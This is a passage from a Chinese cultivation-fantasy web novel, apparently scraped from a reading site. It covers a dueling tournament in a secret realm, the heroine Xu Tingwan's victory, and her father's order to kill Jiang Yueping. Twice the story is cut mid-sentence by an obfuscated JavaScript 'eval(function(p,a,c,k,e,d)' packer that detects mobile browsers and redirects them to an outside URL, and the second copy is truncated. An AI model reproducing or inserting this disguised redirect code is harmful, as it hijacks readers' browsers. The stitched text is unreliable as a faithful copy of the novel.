徐听晚不给对方丝毫喘息之机,果断出手,一脚猛地踹向黑虎的头颅,紧接着一剑刺入黑影的脖颈。她单膝跪地,将黑影死死地压制在地上。黑虎见状,主人受创,它怒吼一声,张开血盆大口,伸出锋利的利爪,猛地朝徐听晚扑去。 徐听晚毫不犹豫地甩出一张上品爆裂符,但黑虎却毫发无损。她毫不气馁,接连甩出七八九十乃至十一张上品爆裂符,黑虎终于被炸得头颅残破不堪。徐听晚趁机一剑鞘刺入黑虎张大的嘴巴中,贯穿其头颅。 黑影随之消散,徐听晚站起身来,平静地等待着下一个关卡的到来。 然而,未等黑影再现,符咒已至。 徐听晚身形一侧,灵巧躲过,身后随即传来震耳欲聋的爆炸声。 黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267249|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影缓缓浮现,此时徐听晚的灵力已所剩无几,她不愿过多纠缠,直接将上品爆裂符贴在剑上,出其不意地将其掷出。毕竟,谁会想到一个剑修竟然会舍弃手中的剑,以符咒代之? 徐听晚紧接着又补上一张上品爆裂符,两张爆裂符在空中相撞,引发了一场惊天动地的爆炸,直接将灵剑炸飞向黑影,贯穿其胸口。 若非灵力所剩无几,她才不会采用如此取巧之法,借助符咒之力推动灵剑。这样的方法只需消耗催动两张符咒的灵力,若灵力充沛,她定会直接用灵力掷出灵剑,附加雷灵力的灵剑速度更快,只是如今筑基期的灵力实在不足。 六个黑影关卡悉数落幕,此刻,她仅需静待其余挑战者破关而出,随后安排与他们的最终对决。 她缓步移至一侧,倚靠于石柱之上,默默无言地转动着手腕上的温润玉珠。 秘境外,众人眉头紧锁,面露凝重。姜满更是惊讶不已,原来徐听晚不仅剑法精湛,已然融会贯通,更是巧妙地将符咒融入其中,相较于其他参赛者,她的技艺与剑法无疑要高出许多。 未几,徐听晚便迎来了她的首位对手——江月平。 两人腰间皆系着相同的九玉缠金,这一发现令她们微微一愣。 短暂的沉默中,两人各自揣测着对方与自己的关系。 徐听晚眨了眨眼,心中暗自猜测,难道她们之间有着姐妹之缘?不过,这些暂且不论,待战斗结束,一切都会水落石出。 她脚下一蹬,判决剑如闪电般刺出,欲先探其虚实。 江月平侧身一闪,青云剑迎上,两剑相撞,发出清脆的声响。徐听晚剑锋一转,猛地向下压去。 就在这时,一张上品爆裂符突然从江月平手中飞出。徐听晚见状,本欲后撤,却突然一把抓住她的衣袖,两人一同承受了这突如其来的爆炸。 徐听晚轻笑一声,眼中闪过一丝兴味,低头看了看身上被炸得破烂不堪的衣服,嘴角微微上扬,终于说出了自进入秘境以来的第一句话:“有意思。” 言罢,她假意挥剑,实则一脚踹向江月平的腹部,将其踢开。 鲜血从江月平的嘴角溢出,她的状况显然也不容乐观。 徐听晚伸手接住嘴角嘴角的鲜血,轻轻抹在剑上,随后强行透支灵力,挥出一道凌厉的剑气。江月平咬紧牙关,翻身躲避,却仍被打落了发冠,青丝散落肩头。 秘境外,柳清云与泽明器宗几位稍显落魄的弟子并肩而坐。 他坐在一旁,眉头紧锁,低声祈祷:“千万别,大师姐和小师妹可千万别打得太凶啊!” 他甚至不敢想象两人战斗结束后会如何懊悔,大师姐或许还好,但小师妹必定会深感懊悔。 他察觉到,自那次竹屋事件后,大师姐便逐渐疏远了小师妹,而小师妹却愈发亲近大师姐。两人之间究竟发生了什么,他不得而知。但对他而言,曾与小师妹一起相处的他深知,小师妹对大师姐是真心喜爱。若是放在从前,小师妹替人剥葡萄、不厌其烦地跟随某人的情景,是他绝对不敢想象的。 秘境之内。 徐听晚步步紧逼,江月平则连连后退。 江月平面露凝重,徐听晚的剑法实在太快,贸然出剑反击只怕会落入对方的陷阱之中。 徐听晚从容不迫地等待着,静候江月平因压力而主动出击的那一刻。 江月平面色阴沉,甩出一张上品爆裂符。然而,徐听晚嘴角微扬,似乎早已料到这一招。 她侧身一闪,趁江月平攻势稍缓之际,以剑抵住她的青云剑,顺势而上,直至江月平的脖颈。紧接着,徐听晚一膝撞在她的腹部,将其牢牢摁倒在地。 她的胳膊和肩膀在一路滑行的过程中留下了鲜红的伤口。 江月平瞪大眼睛,死死盯着徐听晚,拼命挣扎。此时,身后的爆裂符撞上了石柱, 引发剧烈的爆炸。强大的气流将徐听晚的发丝吹向前方,轻轻拂过江月平的脸庞。 江月平的脸颊微微泛红,徐听晚的眼眸轻轻颤动,气氛变得有些微妙。在这微妙的氛围中,十秒的寂静悄然流逝,江月平最终出局。 徐听晚缓缓起身,不由自主地抚了抚头上的发簪。 发簪安然无恙,只是她的衣衫因缺乏灵力护体而变得破破烂烂。 徐听晚仅仅是整理了一下衣物并擦拭了剑刃的片刻之间,下一位对手便已接踵而至。 此人乃是孟鹤。 望见孟鹤的身影,徐听晚心中莫名涌起一股厌烦。 她心中暗自思量,此人必定是仇家无疑。于是,她未做多想,身形一闪,便如同离弦之箭般扑向孟鹤,手中长剑挥舞,展开了一轮看似杂乱无章实则暗藏玄机的疯狂攻击。 孟鹤步步后退,在这套剑法中,他竟隐约看到了自己那套剑法的影子。 转眼间,孟鹤的身上已布满了密密麻麻的剑伤。他拼尽全力,挥动手中的苍穹剑试图抵挡徐听晚的判决剑。本以为自己抓住了反击的契机,却不料徐听晚只是轻笑一声,剑锋一转,猛然向下翻转,随后侧身一跃,剑尖直指孟鹤。 孟鹤猝不及防,手中的灵剑脱手而出。紧接着,徐听晚一脚狠狠踹在他的脖颈上,将他踹倒在地,随后踩在他的胸口,静静地等待了十秒钟的时间。 孟鹤口吐鲜血,心中不禁暗自惊叹:她的剑法实在太过诡异。 随后,徐听晚走到一旁,继续等待着下一个对手的到来。 秘境外,与此同时,石观明也步出了秘境。 石观明首个遭遇的便是温乐天,一番激战后,他成功将温乐天淘汰出局。紧接着,他又碰到了司空瑾,司空瑾毫不犹豫地甩出了几百张上品爆裂符,直扑石观明面门,迫使石观明也不得不出局。 江月平、温乐天、柳清云以及王若拂四人聚在一起,王若拂同样是被自己的大师姐淘汰出局。他们围坐一堆,神色均显得有些狼狈,彼此间沉默无言。 此刻,秘境之内仅剩下五人:徐听晚、司空瑾、梅问君、月恒以及初千墨。而傅亦舟也刚刚被自己的大师姐初千墨淘汰出局。 眼下,徐听晚正与梅问君对峙,司空瑾则与月恒交锋。这一届的秘境试炼,无疑是有史以来结束得最快的一次。 姜满轻笑一声,对徐听晚竟能将五行道宗与玄天剑宗的宗门剑法巧妙融合表示惊讶,这无疑是一次大胆的尝试。要知道,稍有差池,便可能混淆剑法,导致整体威力大打折扣,一加一的效果反而小于二。 53.决斗场秘境 下 秘境之中。 徐听晚紧锁眉头,注视着梅问君手握土遁符,一步步向后退却。 她满心疑惑,战斗尚未开始,这个男子究竟在畏惧什么? 梅问君则满脸戒备地盯着眼前的女子,他那张向来一丝不苟的脸庞此刻微微皱起,只因感受到对方身上散发出的浓重杀气。 他已不记得对方的身份,但脑海中却清晰地浮现出曾有人告诫他的话:从一个人的面相能洞察诸多端倪,杀气尤其能从人的眼神与嘴巴中显露出来。眼神麻木、双唇紧闭之人,往往心怀杀意。紧闭嘴巴是生怕鲜血溅入口中,而眼神麻木则是因为在更广的范围内观察着四周。 这些话,似乎是某个至关重要的朋友对他所言。 徐听晚轻轻皱眉,心中暗自烦恼。她不得不静待梅问君的灵力耗尽,方能采取行动。而今,她自身灵力已竭,根本无法突破土遁之术的防御。 两人就这样僵持着。 梅问君的额头上布满了细密的汗珠,他尝试着抛出一张上品爆裂符,却被徐听晚轻而易举地躲闪开来,使得这场对峙愈发陷入僵局。 众人的视线纷纷转向了另一处水镜。 在那水镜之中,司空瑾与月恒正激战正酣,身为剑修的月恒显然占据了上风。 月恒那平日里温和的眉头此刻微微蹙起,经过前面一连串的战斗,司空瑾已显得有些疲惫,灵力也已消耗过半,若再这样持续消耗下去,恐怕后面的战斗她将难以支撑。 她咬紧牙关,决定冒险一搏,近身攻击月恒,背后硬生生承受了月恒的一剑,同时将爆裂符贴在了月恒的胸口,随后迅速后跃,拉开了距离。 战斗至此,两人的灵力都已所剩无几。面对这突如其来的爆炸,月恒根本无法抵挡,她重重地倒在地上,却依然紧握着手中的剑,试图再次站起。 她十六岁那年便进入了亲传弟子之列,所依靠的并非她那单土灵根的天赋,而是手中那把铁剑以及一个坚定的承诺。 她与傅亦舟自幼在上北城的雪林村一同长大,那里的村民多以捕捉妖兽为生。 他们曾一同观赏初雪,一同学习设置捕猎的陷阱,还一同前往商铺为家中的大人挑选所需的灵器。因为傅亦舟长得漂亮,她还会照着图册上的美人模样,用鲜花为他精心打扮。每次打扮完毕,傅亦舟也会学着画册上的样子逗她开心。 从小到大,两人几乎形影不离。然而,在一次购买灵器归家的途中,原本栖息于雪山的白熊竟突然闯入雪林。为保护她,傅亦舟毅然决然地引开了白熊,让她得以迅速回村求援。 当村民们随她匆匆赶到现场时,傅亦舟已浑身是伤,咬伤遍布,脸皮被残忍地撕去,身体多处骨折。尽管她悉心照料了许久,但傅亦舟的身体上还是留下了深深的伤痕。 听闻玄天剑宗有治疗之法,她毅然决定让傅亦舟在家中等候,自己则前往宗门寻求救治之法。她誓言要在宗门中站稳脚跟,以便日后接傅亦舟过去。 时光荏苒,第一年,她带着通讯用的书卷回到了家中,与傅亦舟分享着宗门中的点滴。第二年,她终于实现了自己的承诺,将傅亦舟接到了玄天剑宗。 无人知晓,一个年仅十二岁、一无所有的小姑娘是如何在短短两年内,以实力为尊的宗门中站稳脚跟的。 在玄天剑宗,傅亦舟住进了她作为内门弟子的小屋。她满怀希望地告诉傅亦舟,只要她能通过亲传弟子的选拔,他们就能住进宽敞的大院落,并且还能向掌门求取雪莲,为他重塑身体。 傅亦舟则温柔地安慰她,自己并不在乎结果如何,只要能和她在一起,他就心满意足了。 然而,选拔之日,她浑身是血地归来,宗门上下都震惊于这位女疯子的出现。 幸运的是雪莲真的有用,傅亦舟的身体逐渐康复,不再因长时间站立而颤抖,左眼也重见光明,手腕也恢复了灵活。 然而,就在这一年,两人的父母却不幸丧生于妖兽之口。他们悲痛欲绝,一同回去埋葬了父母。从此,在这茫茫人海中,他们只有彼此相依为命。 傅亦舟不忍见她太过辛劳,于是决心习剑。他出众的相貌为他赢得了众人的青睐,无论是男弟子还是女弟子,都对他格外友善,这使得他的修炼之路异常顺畅。最终,他虽只是成为了小宗的亲传弟子,但这已是万中无一的难得机会。 后来,傅亦舟从旁人口中得知了她一路走来的不易。那位表面温婉平和的玄天剑宗二弟子,实则绝非等闲之辈。她不仅是那一届招生中的佼佼者,更是外门弟子中的第一,更是在内门选拔亲传弟子时独占鳌头,而这一切,她仅仅用了四年的时间便做到了。 她正如人们所言——是个不折不扣的女疯子。 奇迹般地,月恒紧握剑柄,艰难地站了起来。她身形一闪,利剑如电,瞬间刺穿了司空瑾的胸口。司空瑾显然未曾料到月恒还能反击,只得拼尽全力,用最后残留的灵力将她推开。 这一击之后,月恒无力地昏倒在地。司空瑾低头,望着胸口不断渗出的鲜血,迅速从储物袋中取出止血带,紧紧绑住伤口。 她紧咬双唇,竭力不让自己发出一丝声响,潜意识中不愿展露丝毫的脆弱。不知为何,她的识海中始终有一个坚定的声音在回响,告诉她必须赢。她要证明的事情实在太多,太多。 另一边,梅问君拼尽全力,运用他仅存的灵力,猛地甩出了数十张上品爆裂符。他本以为,经过长时间的等待,徐听晚的警惕心会有所松懈,然而,出乎意料的是,她始终保持着高度的警觉,对他的动作了如指掌。 结果,他精心布置的符咒全部落空,最终,徐听晚以一记凌厉的剑招,砍在他的背上,随后,她脚踏其背,手摁其肩,将他牢牢地压制在地面上,宣告了他的出局。 梅问君的出局,紧接着,司空瑾便出现在了徐听晚的面前。 此时,司空瑾的胸口正汩汩地涌着鲜血,徐听晚见状,不禁皱起了眉头,疑惑地开口:“你……” 司空瑾原本以为,徐听晚会说一些诸如胜之不武之类的话语,然而,徐听晚只是微微一顿,眼神中满是困惑:“都这样了,你为何还不乖乖出局,非要我动手?” 说完,她毫不犹豫地一脚将司空瑾踹倒在地,然后平静地站在一旁,脸上写满了警告,仿佛在说,你要是敢再起来,我就不客气了。 司空瑾见状,知道再挣扎也无济于事,只好无奈地选择了出局。徐听晚低头看了看地上的血迹,如此大量的出血,她不禁暗自庆幸,还好自己及时将她送出了局。 秘境外,亲传弟子们一时语塞,旋即便释然了,毕竟徐听晚一贯如此性情。 江月平凝视着水镜中的徐听晚,心中困惑,不知何时起,大师姐对她渐行渐远。 大师姐的世界广阔无垠,而她仅占据其中微不足道的一隅,渺小得如同常人,大师姐或许永远不会理解她的苦楚,她只能在此默默观望,小心翼翼地试探。 秘境之中。 徐听晚的眼前蓦然出现了新的对手。 身着红衣的初千墨,姿态轻狂地耸了耸肩,笑道:“我可是等了好久,不会就剩你一个了吧?看来,我赢定了!” 她笑时眉眼上挑,手中的灵剑轻轻颤动,高束的长发随风肆意飘扬,精致的眉眼间满是意气风发,犹如炽热的阳光。 徐听晚的眼中难得闪过一丝光亮,但她的面色依旧如常,心中平静无波,宛如一块永远无法融化的寒冰,只能平淡地反射着光线。 她并未理会初千墨的话语,提起判决剑虚晃一招,随即翻转剑刃,以身随剑,以一种极为冒险且奇特的方式,一剑刺入初千墨的腹部。 刚才,她巧妙地扭动后腰,不仅避开了自己的翻剑,还躲过了初千墨的横斩。原本应该相交的两柄剑,却各自顺着不同的方向划去。 徐听晚宛如一个剑法上的赌徒,一个贪婪而狂妄的赌徒。她的每一个动作都仿佛在告诉对方:你的每一步都已被我看穿。 她顺势继续将剑往里捅去,同时抬脚一绊,将初千墨绊倒在地。判决剑穿透初千墨的身体,将她牢牢地钉在了地上。 徐听晚双唇微动,冷漠地吐出两个字:“你输了。” 这打脸来得太快,初千墨一时竟有些反应不过来。刚才她还自信满满地说自己赢定了,此刻却挣扎着想要起身,拼命抬脚想要借力,却被徐听晚稳稳地踩住了双腿。 “乖一点。”徐听晚轻声说道,她的声音中没有一丝温度,失去记忆的她更显冷漠。 初千墨心中涌起一股怒气,既然败局已定,她索性奋力一挥,将手中的剑向徐听晚掷去。这一突如其来的举动出乎所有人的意料,包括徐听晚自己。她慌忙侧身躲避,却仍不幸被剑刃划伤了脸颊,与此同时,她头上的黄玉银蝶簪也随之滑落。 随着初千墨的出局,徐听晚的第一反应并非整理自己散乱的发丝,而是迅速俯身,捡起地上的发簪。她小心翼翼地检查着发簪是否有所损坏,随后用自己身上唯一一块干净的衣角,轻柔地擦拭着它。尽管记忆模糊,但她清楚地记得,这支发簪对她而言意义非凡,是她唯一能够留下的东西。有些事物值得去争取,但有些,一旦强求,反而更容易失去。 秘境对决落幕,徐听晚被顺利传送而出,记忆如潮水般回归。她紧握手中精致的发簪,随意地挽起青丝,再次将其优雅地簪于发间。 此刻,所有人的视线都聚焦在她身上。她望向姜满所在之处的掌门,微微颔首致意。 闻堰难掩激动,猛地跳起,快步上前,紧紧拥抱住徐听晚。 “不愧是我的晚晚!”她由衷地赞叹道。 徐听晚轻轻地将头靠在闻堰的肩上,心中暗自感慨。其实,若她的另一半灵魂能多留意些,便会发现,从小到大,对她最好的竟是闻长老——那位曾让她骑大马,性格直爽的少女。 闻堰松开怀抱,笑容满面地引领着徐听晚去领取奖品。 书卷之上,关于此战的讨论纷至沓来,人们纷纷称此战为徐听晚的封神之战。 作为开辟新剑法的天才剑修,她无疑是剑道领域的佼佼者,魁首之名当之无愧。 随着众人纷纷告别,各自返回宗门,这场盛事也渐渐落下帷幕。 云舟之上,江月平缓缓行至徐听晚身旁,将一碗精心剥好的葡萄递到了她的手中。 徐听晚接过葡萄,心中不禁泛起一丝好奇。这一路行来,他们未曾有过片刻停歇,江月平究竟是在何时抽空去买了这些葡萄?想来也是费了她不少心思,才能在那紧张的行程中挤出时间来。 轻轻吃下一颗葡萄,徐听晚微微蹙起了眉头。 “好酸。”她轻声说道。 江月平闻言,眼中闪过一丝惊讶,她明明尝过,并不觉得酸啊。难道这一串葡萄中,每一颗的酸甜都各不相同? 尽管嘴上说着酸,但徐听晚手中的动作却未曾停下,一颗接着一颗地品尝着。 她的目光望向远方那飘渺的云朵,眼神有些迷离。而她的余光,则恰好捕捉到了江月平的身影。 “小师妹,你看那朵云,此刻正压在你的头顶,就像一只慵懒的小猫趴在你的肩头。”徐听晚的声音轻柔而细腻。 江月平闻言,下意识地回头望向天空,那团云朵在她的眼中果然有了几分小猫的憨态。 徐听晚收回视线,重新落在江月平的背影上,再次拿起一颗葡萄,放入了口中。 逐渐接近银月城之际,只需微微仰首,便能眺望到矗立于高山之巅的五行道宗。 众人一同返回宗门,未曾料到徐君彦竟会在宗门口等候徐听晚。 徐君彦轻轻握住徐听晚的臂膀,嘴角微微上扬,面色柔和,声音沉稳而温暖:“小晚,你很出色,为我们五行道宗增添了光彩。你的秘境对决, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她每日都会送去不同的水果至隔壁,其实她内心渴望能多去几次,只是被大师姐告诫要专心修炼,不可频繁打扰。 徐听晚如常于院中练剑,化神期的灵力汹涌澎湃,远非元婴期可比,她隐约察觉到一股力量在她的灵田之中潜藏压抑。 雷灵根的暴力逐渐显现,她停下手中的剑,闭目凝神,感受着周遭的灵力缓缓被她吸入体内。待她睁开眼时,映入眼帘的却是一片荒芜的院子,心中不禁生出整理一番的念头。 或许,她该购置些物件,用以装点院落与居室,只是每每想到其中的繁琐,便又迟迟未曾行动。 倘若能将此处填满,或许便不会再有那空旷落寞之感吧。 砰砰砰—— “徐道友。” 一个熟悉的声音自门口响起,徐听晚闻声站在原地,轻声回应道:“门没锁,你直接进来吧。” 梅问君缓缓推开院门,目光呆滞地看了徐听晚一眼,随后急忙垂下眼帘。 “你怎么突然来了?”徐听晚不解地问道,她微微歪着头,脸上没有过多的表情,但梅问君却看得出了神。此时春风和煦,周围的一切景物都仿佛被染上了一层暖色,连同徐听晚浅色的瞳孔。 梅问君在心中思索了许久,最终只能无奈地苦笑一声。他明白,有些人注定只能像夜空中闪烁的星光一般,只能远远地仰慕,又何必去轻易打扰呢? 那份曾经懵懂无知的喜欢,终究还是随着时间的流逝而渐渐冲淡。在这一刻,仰慕与爱在他的心中清晰地划分开来。 他微微勾起嘴角,露出一抹笑意,说道:“月道友和傅道友的道侣大典,你们应该会前往吧?由于我们两宗之间的关系并不融洽,我们这些亲传弟子也不便出席。但正所谓不打不相识,我们和他们如今也算是朋友一场,因此想请你们代为送上贺礼,并顺便帮我们一个小忙。” 徐听晚轻轻点了点头,问道:“什么忙?” “我们希望能找回万安的尸骨,但师父并不同意。所以,我们想请你们帮忙寻找,哪怕只是一片衣角也好。我们想让四师弟魂归故里。请你们放心,我们三人凑集了不少灵石,作为你们的辛苦费。”梅问君的眉眼间流露出温和的神色,早已不再是昔日那般呆愣的模样。他的五官已经长开,个子也拔高了不少,宽肩窄腰,宛如温润如玉的君子。 仔细端详,他与梅遇卿还是颇为相像的。 “无妨,灵石就不必了。我并不缺这个,但此事我应下了。你回去和你大师姐说一声,就当作你们三人欠我个人情吧。”徐听晚挑了挑眉,司空瑾可不是表面上那般娇弱的女子,她的阵法造诣颇深,独具匠心,变化多端,控制力极强。虽然攻击力不算出众,但却能将人慢慢消耗至死。 休息的时间,她一直在通过书卷上的录像,观察着如今宗门内的顶尖人才。无论是掌门、长老,还是亲传弟子,关于他们的作战习惯,她都已经有了大致的了解。 王若拂同样非同小可,其剑法独树一帜,讲究极速与精准,因此被世人誉为“鬼剑”。 梅问君不仅是梅家的公子,更是研究上古符咒的奇才。尽管他思维并不敏捷,但在做事时却能心无旁骛。他精心研究并拼凑出了三张上古符咒,分别是威力巨大的上古爆裂符、灵动非凡的上古水龙符以及震撼人心的上古雷爆符。 尽管这些符咒的图像已通过推测被重新复原,但要想真正绘制出来,却是难上加难,迄今为止,能够成功绘制之人屈指可数。 梅问君郑重地点了点头,说道:“我们本就欠你们一份人情,这些事情我们都会铭记于心。日后若有需要,我们定当任凭差遣,绝无二话。” 徐听晚轻轻应了一声,正欲言语,却见江月平此时走了过来。 “大师姐,”江月平开口道,“师父让我们两人去参加月道友和傅道友的道侣大典。”他的目光在梅问君身上停留片刻,隐隐透出一丝不悦,心中暗自嘀咕,怎么他和大师姐会在这里单独相处。 徐听晚眼神微微闪烁,心中涌起一股莫名的不安,为何只让她们两人前去?这背后究竟有何目的? 54.道侣大典 徐听晚紧锁眉头,不出所料,紧接着便收到了父亲的传讯,让她即刻前往。 她接过梅问君递来的物品,放入储物袋中,随后拱手说道:“我父亲找我,小师妹,就劳烦你送一送梅道友了。” 江月平面露微蹙,察觉到大师姐对她的称呼有所变化,心中不禁疑惑:难道大师姐生气了?究竟发生了何事? 她瞥了一眼梅问君,神色淡然地说道:“请吧。” 梅问君轻轻点头,望着江月平那拒人于千里之外的眼神,心中暗自感叹:江道友依旧是那般冷漠无情。 察觉到梅问君投来的目光,江月平转头问道:“梅道友,可有何事要言?” 江月平一身清风道骨,面容严肃,身着青色衣衫,与水天一色相映成趣。与刚才在大师姐面前的模样截然不同,那时的她带着几分年少的稚气,眉眼间流露出难以言喻的温柔。而此刻的她,则宛如薄情青云,公正严明,不容侵犯。 梅问君恭敬地拱手道:“多谢江道友相送,接下来的路,我自己走便好。” 两人已经行至宗门口,江月平点头拱手道别。 江月平正缓步返回,恰逢一群弟子经过,他们见状,纷纷小心翼翼地向她问好。她不经意间捕捉到弟子们交谈的片段,提及银月城新推出的一款鲜花饼,据说味道极为美妙。 闻言,江月平的脚步不由自主地停了下来,随即转身,悄然跟上了那群弟子的步伐。 徐听晚缓步走到掌门院落,轻轻推开门扉。这里的每一处景致,对她而言都异常熟悉,毕竟七岁之前的岁月,她都是在这片土地上度过的。然而,自七岁那年起,随着母亲态度的骤变,她也无奈地离开了这个充满回忆的地方。 她抬手轻敲门楣,一阵微风拂过,门竟自行开启。徐君彦的身影映入眼帘,他正站在昔日林流华抚琴之处,手持长箫,似乎陷入了深深的沉思之中。 湖中小亭内的古琴已然不见,四周显得异常空旷。望着徐君彦这副模样,徐听晚心中不禁泛起一丝疑虑,她开始怀疑徐君彦对林流华的感情是否是真的。 随即,她在心底冷笑一声,若是真心喜欢,又怎会轻易放手? 她暗自思量,倘若能与林流华联手,或许能扳倒徐君彦。但转念一想,林流华又怎会轻易相信她呢?而且她也不是什么好人…… “父亲。”徐听晚轻声呼唤。 徐君彦闻声侧首,目光落在她身上。随后,他足尖轻点凉亭栏杆,身形一跃,便稳稳地站在了徐听晚的面前。 “来而不可失者,乃时也;蹈而不可失者,为机也。”他的声音低沉,带着一丝令人迷惑的温柔。 “女儿明白。” 他这是在示意她抓住眼前的机会,除去江月平。 徐听晚微微皱眉,仿佛心中有着无尽的忧愁,她抬头望向徐君彦,问道:“父亲,我听说林流华如今已完全掌控了林家,她会不会对我们下手?” 她的脸上满是担忧,徐君彦的眼神瞬间变得凝重。 她略显紧张,脑海中不断推演着最坏的结果。 徐君彦微微眯眼,轻笑一声道:“林家不足为虑,你无需担心,自有人会去处理。现在,你最重要的任务是帮我除掉江月平。我的女儿,以往我们或许还需忌惮其他宗门和世家,但现在已完全不必。别怕,就算我们现在暴露,也依然有足够的实力去对抗。” 徐听晚点了点头,眼中闪烁着激动的光芒。 “父亲,对于江月平,我应当如何处置?是直接挖出她的灵根带回吗?”徐君彦微微一笑,摇了摇头,说道:“不,你需将她的尸体完整带回。” 徐听晚面色一滞,旋即恢复如常,郑重地点了点头:“女儿定不负所托!” 不是应当吸收灵根吗?为何需要整副遗体?她心中疑惑重重,吞噬他人修为,历来都是汲取灵力、融合灵根,不是吗? 人死之后,灵力会滞留原地,他要遗体何用?这究竟是何等手段? 徐听晚紧握双拳,满心忐忑。吸收死者灵力虽能快速提升修为,却痛苦异常,稍有不慎便会爆体而亡;盗取他人灵根则是无耻行径,属重罪。这两种方法,乃是修真界公认的吞噬修为之法,前者允许,后者重罚,可若非此二者,那他所谓的吞噬,究竟是何意思? 徐君彦轻抚徐听晚的发丝,柔声说道:“小晚,杀了她之后,父亲会教你一种方法,助你突破化神,达到炼虚之境。到那时,整个修真界都将属于我们。” 徐听晚低垂眼睑,可真是诱人。 “太好了,父亲,女儿定当全力以赴,完成任务!”她嘴角勾起一抹笑意,徐君彦满意地望着她,嘴角也浮现出一丝微笑。 她迅速步出院落,直至走远,才终于停下脚步,大口喘息起来。 她心中充满了不安,徐君彦提及的那个“吞噬”究竟是什么方法?她陷入了深深的思索之中,以至于全然未曾察觉到江月平已悄然站在了她的面前。 “大师姐。”一个温婉的女子声音响起,徐听晚一时未能反应过来,这是江月平在唤她。她微微皱眉,抬头望去,只见江月平的眼神略显呆滞,随后又缓缓垂下眼眸,轻声问道:“怎么了?” “来尝尝银月城的新玩意儿,鲜花饼。”江月平说道,她的眉眼间映着徐听晚的身影,宛如两颗深邃的琉璃,如墨的长发随风舞动,衣袂飘飘。徐听晚无奈地望着她,嘴角勾起一抹浅笑,接过了那包着鲜花饼的油纸。 “小师妹,你还是好好修炼吧,别总弄这些无关紧要的东西。”徐听晚轻声说道,然而手却不由自主地打开了油纸,开始品尝起那鲜花饼来。 她继续前行,江月平则默默地跟在她的身后。 柳清云每日手不释卷,总想找机会与梅遇卿交谈。他们六人悄悄聚在徐听晚的院落中,这时,石观明皱着眉问:“怎么突然叫我们来喝酒了?” 徐听晚凝视着手中的酒杯,缓缓说道:“今晚月色甚美,突然有了兴致,想请大家一同喝酒赏月。” 她心中暗自思量,若此事过后,受到父亲的怀疑,恐怕会闹到不可开交的地步。到那时,她就必须利用那个消息来赌上一赌。若赌输了,她也就彻底输了,日后恐怕再难相见。 柳清云轻轻摆了摆手,笑道:“我就不喝了,我不爱喝酒,看看月亮就好。” 温乐天闻言,轻笑一声道:“不爱喝?分明是不会喝,一杯就倒。” 徐听晚闻言看着争论的两人嘴角微微上扬,此刻的她已经喝了不少。 走到这一步,成败就在此一举了。风浪越大,鱼儿越贵。 江月平微微侧头,目光落在徐听晚微微上扬的嘴角和略显红润的脸颊上,不禁有些出神,心中暗自期盼着,如果她此刻能看向自己该有多好。 然而,徐听晚只是轻轻侧头,目光并未停留在江月平身上,这一举动让江月平慌忙回过头,急忙端起酒杯,猛地灌下一大口。 遗憾的是,徐听晚的视线并未投向她,而是落在了她对面的石观明身上。“观明,在想什么呢?来,喝酒。”徐听晚挑眉笑道。石观明若有所思地望着她,心中总觉得大师姐今天有些异样。 最终,在徐听晚的对视下,他还是端起了桌上的酒杯,一饮而尽。 桌下的江月平双手紧握成拳,再次端起酒杯,毫不犹豫地又是一大口。 而徐听晚的余光恰好捕捉到了江月平的脸庞,只见她清冷如水的眼眸在饮酒后染上了一抹绯红。 月亮缓缓移动,五人已畅饮多时。徐听晚所在之处逐渐被阴影笼罩,而月光则温柔地洒在江月平那红润的脸庞上。 最终,柳清云搀扶着醉醺醺的温乐天和石观明,将他们送进了徐听晚的偏屋。他随意找来一床被子,垫在两人身下,不禁皱眉打量起这简陋的偏屋。大师姐的习性还真是古怪,整个院落崭新如初,而这偏屋内,除了标配的两把椅子,别无他物。 另一边,徐听晚轻轻将熟睡的江月平抱回她自己的床铺,随后坐在床沿。这酒带着一股难以言喻的竹子清香,她也不清楚这是什么酒,只是随意购买的三坛,竟已全部见底。 望着空荡荡的屋子,她的脑海中突然浮现出往昔的画面。她恍然大悟,自己为何从未在此添置任何物品。原来,儿时的她始终怀揣着一份期盼,以为父亲终有一天会把她接回掌门院落。 然而,现实却令人遗憾。她曾经的那间屋子,早已被改作仓库,用来堆放宗门的账本。徐听晚无奈地苦笑,一股复杂的情绪涌上心头,她感到前所未有的疲惫。她渴望回到另一个世界,可是现在这个世界才是她真正的人生。 在这里,她是一个被人随意抛弃、践踏和利用的恶毒女配。 徐听晚紧握双拳,侧首望向江月平。江月平静静地躺在床上,月光仿佛对她格外宽容,总是温柔地洒落在她身上。 然而,那皎洁的月光却没有一丝一毫落在徐听晚的身上,她心中不禁涌起一股不甘。她缓缓伸出手,指尖轻轻停在江月平的脸颊上,细长的手指在月光的映照下,在江月平的额头上投下一抹淡淡的阴影。 徐听晚眼眶泛红,无奈地轻抚着江月平的脸颊。其实,她还有一个选择,那就是成为“碟中谍”,站在父亲那一边,牺牲女主江月平,以赌最后父亲能改变天命,赢得天下。但是,她最终选择了帮助江月平。 至于原因…… 徐听晚缓缓弯下腰,轻柔地在江月平的额头上印下一吻。 倘若小师妹知晓此事,定会厌她,骂她是变态。若她是男儿身,或许还有勇气与那男主角一较高下,然而身为女子,她唯一能做的,便是送她一程,让她在这一路上少些磨难。 她不清楚自己为何会对江月平心生情愫。当她意识到自己的情绪被江月平所左右,甚至在察觉到江月平可能会与自己竞争掌门之位时,内心竟不由自主地涌起心软和无奈时,她便明白,一切都已无法挽回。 或许,是在江月平为她手执剑刃,毅然书写道歉信的那一刻,她就已经爱上了她。这份情感无关性别,只因江月平心怀正义,即便在当时对她心存不满,也未曾趁机加害,反而为她争取时间,寻找生机。 当她听到江月平后来的解释时,心中难免涌起一阵哀伤。而她被江月平推下河时所说的那些话,不过是气愤之下的冲动之言。 